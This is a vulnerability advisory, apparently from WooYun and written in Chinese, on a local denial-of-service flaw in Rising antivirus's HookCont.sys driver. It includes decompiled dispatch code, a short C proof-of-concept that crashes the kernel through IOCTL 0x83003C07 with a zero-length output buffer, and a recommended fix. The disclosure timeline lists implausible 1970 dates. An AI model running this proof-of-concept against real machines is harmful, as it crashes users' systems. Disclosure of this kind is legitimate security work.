漏洞详情

披露状态:

2010-07-27: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商已经确认,细节仅向厂商公开
1970-01-04: 细节向第三方安全合作伙伴开放
1970-02-25: 细节向核心白帽子及相关领域专家公开
1970-03-07: 细节向普通白帽子公开
1970-03-17: 细节向实习白帽子公开
2010-08-26: 细节向公众公开

简要描述:

瑞星 HookCont.sys <= 24.0.0.5 驱动程序派遣例程中,对IoControlCode为0x83003C07的处理中,对UserBuffer检查中,使用ProbeForWrite函数不当造成本地拒绝服务漏洞。

详细说明:

void __stdcall DriverDispatch(struct _DEVICE_OBJECT *a1, PIRP Irp)
{PIRP v2; // edx@2PVOID UserBuffer; // edi@4unsigned int IoControlCode; // esi@4struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *pIrpStack; // esi@4SIZE_T OutputBufferLength; // ST18_4@4int v7; // eax@25HANDLE *Type3InputBuffer; // [sp+10h] [bp-24h]@4SIZE_T InputBufferLength; // [sp+14h] [bp-20h]@4if ( a1 == dword_115AC )                      // hookmail{v2 = Irp;++v2->CurrentLocation;v2->Tail.Overlay.CurrentStackLocation = (struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *)((char *)v2->Tail.Overlay.CurrentStackLocation + 36);IofCallDriver(DeviceObject, Irp);JUMPOUT(*(unsigned int *)loc_10F11);}pIrpStack = Irp->Tail.Overlay.CurrentStackLocation;Type3InputBuffer = (HANDLE *)*((_DWORD *)pIrpStack + 4);UserBuffer = Irp->UserBuffer;InputBufferLength = *((_DWORD *)pIrpStack + 2);OutputBufferLength = *((_DWORD *)pIrpStack + 1);JUMPOUT((unsigned int)UserBuffer, (unsigned int)MmUserProbeAddress, *(unsigned int *)loc_10EF2);JUMPOUT((unsigned int)((char *)UserBuffer + *((_DWORD *)pIrpStack + 1)),(unsigned int)MmUserProbeAddress,*(unsigned int *)loc_10EF2);ProbeForRead(*((const void **)pIrpStack + 4), InputBufferLength, 1u);ProbeForWrite(UserBuffer, OutputBufferLength, 1u);IoControlCode = *((_DWORD *)pIrpStack + 3);if ( IoControlCode == 0x83003C07 ){if ( !*((_BYTE *)P + 11004) ){if ( InputBufferLength >= 4 ){v7 = sub_105AA(P, *Type3InputBuffer);if ( v7 ){*(_DWORD *)UserBuffer = v7;Irp->IoStatus.Information = 4;}*((_BYTE *)P + 11005) = 0;JUMPOUT(*(unsigned int *)loc_10EF9);}}}
//省略部分代码。。。

从瑞星的DriverDispatch处理,可以看出其对UserBuffer虽然做了严格的MmUserProbeAddress比较检查,也做了ProbeForWrite探测,但是使用ProbeForWrite函数不当!因为处理过程中相信了用户输入的OutputBufferLength,那么只要用户输入的OutputBufferLength为0,就可以躲过ProbeForWrite检查。
最终在 *(_DWORD *)UserBuffer = v7; 这句中发生了内存访问错误,导致拒绝服务。

漏洞证明:

void Test()
{ DWORD dw;HANDLE hDevice; DWORD InputBuffer[64]={0}; DWORD outputBuffer[64]={0};  char * deviceName="\\\\.\\HookCont";DWORD ioControlCode=0x83003C07; //得到设备指针 hDevice=CreateFile(deviceName,GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);if(hDevice==INVALID_HANDLE_VALUE){ displayError("打开设备出错!"); return ;}   MyOutputDebugString("CreateFile %s ok! hDevice=%08X\n",deviceName,hDevice);//准备数据 InputBuffer[0]=(DWORD)hDevice; //给一个句柄即可//出发漏洞if(!DeviceIoControl(hDevice, ioControlCode,InputBuffer , 4, (PVOID)(0x7fff0000),0, &dw,0)){displayError("DeviceIoControl failed!"); } //关闭设备句柄CloseHandle(hDevice);
}

修复方案:

建议瑞星驱动中不要相信用户输入的OutputBufferLength,而使用自己需要写入的长度作为ProbeForWrite的第二个参数(即长度)。本驱动中,应该是sizeof(DWORD).

版权声明:转载请注明来源 shineast@乌云

瑞星 HookCont.sys <= 24.0.0.5 驱动本地拒绝服务漏洞相关推荐

  1. 瑞星2011、2012神马的各种内核拒绝服务漏洞

    看了看雪上的这篇帖子<瑞星全功能安全软件2011内核拒绝服务漏洞>http://bbs.pediy.com/showthread.php?t=151241.里面提到的驱动签名时间签名是20 ...

  2. rtl8169网卡驱动linux,Linux Kernel RTL8169网卡驱动远程拒绝服务漏洞

    发布日期:2009-06-10 更新日期:2009-06-18 受影响系统: Linux kernel 2.6.x 不受影响系统: Linux kernel 2.6.30 描述: ---------- ...

  3. android_10.0.0_r41自定义驱动编译+Framework层调用_2(自定义驱动)

    下载并编译好android源码和kernel源码,接下来正式开始我们的自定义驱动操作. Android_10.0.0_r43自定义驱动 参考文献:https://blog.csdn.net/luosh ...

  4. k8s 1.24.0版本使用nfs-provisioner4.0.0动态创建PV

    一.nfs-client-provisioner简介 nfs-client-provisioner 可动态为kubernetes提供pv卷,是Kubernetes的简易NFS的外部provisione ...

  5. linux3.0 usb键盘驱动,USBOS V3.0.2021.03.01

    本帖最后由 chiannet 于 2021-3-21 20:45 编辑 第一部分 USBOS v3 增强版 ISO版与UD版合体,总体积1.62GB--3.0GB(视是否拓展)! USBOS V3是计 ...

  6. MT6739的Android9.0 Camera kernel 驱动

    文章目录 Kernel 层驱动的实现 Camera 开机流程 Camera 驱动的文件结构 Camera 驱动初始化流程 Camera 入口函数 imgsensor_init 注册的平台驱动结构体 g ...

  7. 工业相机 linux驱动软件,菲力尔FLIR-灰点Point Grey工业相机Linux Ubuntu18.04系统驱动Spinnaker-2.0.0.147-amd64/arm64...

    注册登陆后可查看附件和大图,以及购买相关内容 您需要 登录 才可以下载或查看,没有帐号?注册会员 x 菲力尔FLIR-灰点Point Grey工业相机Linux Ubuntu18.04系统驱动Spin ...

  8. Android Support Library 24.2.0 正式发布

    原文出处:http://blog.csdn.net/wxy318/article/details/52463998 近日,Google正式发布更新了Android Support Library Re ...

  9. 移植MT76x8 私有WIFI驱动V4.1.0.0到Openwrt 18.06所遇到的坑

    Openwrt系统,路由或者IOT网关方面,市面上能供个人或者小团队甚至小企业 ,可玩性高的也就MT76xx系列路由芯片了,其中很大一部分原因主要在于MTK的WIFI驱动管控不是很严格,相对较容易获取 ...

最新文章

  1. 【计算理论】可判定性 ( 可判定性总结 )
  2. Ubuntu 9.10下在右键中添加以管理员身份打开,在终端中打开
  3. JS中生成8位的随机数字
  4. dosbox中的bebug指令
  5. python性能分析工具_Python Profilers 分析器
  6. django中FastDFS客户端与自定义文件存储系统
  7. 本题要求实现函数输出n行数字金字塔。_练习5-3 数字金字塔 (15分)
  8. js 日期星期 带农历
  9. 信息学奥赛C++语言:求和4
  10. ivona tts语音合成引擎_高端玩家!树莓派 + Node.js 实现语音机器人
  11. 股票软件开发中全推与点播的区别
  12. 【spring boot】5.spring boot 创建web项目并使用jsp作前台页面
  13. 5.12 CopyNet和 Pointer-Generator Net 复制机制和指针-生成器网络
  14. 多线程编程中锁的种类与应用举例
  15. opencv车牌分割_OpenVINO车牌识别网络详解
  16. 解决Centos7安装docker源问题
  17. C#调用新浪微博API生成RSS资源文件
  18. 百度热力图颜色说明_基于百度热力图的中国多中心城市分析|上海城市规划
  19. ansys linux卸载干净,安装了几次ansys14.5,都没有成功,删除重新安装后许可安装不了了...
  20. Android 文件存储-图片存储

热门文章

  1. 如何批量修改多个文件的后缀名!
  2. 《这一代人的学习》观看笔记
  3. 几何画板 linux,用几何画板怎么作函数图像
  4. CSS 强制换行和禁止换行
  5. 计算机教师使用计划书,信息技术教师个人发展计划
  6. 实验二——网络嗅探与欺骗.
  7. 成为Java顶尖程序员 ,看这9本书就够了
  8. I-Deas TMG 培训资料 (10)
  9. 网站被恶意刷流量解决方案
  10. 计算机硬盘越大运行速度越大吗,电脑的内存越大越好吗?如果只加大内存,电脑反而会被拖慢!...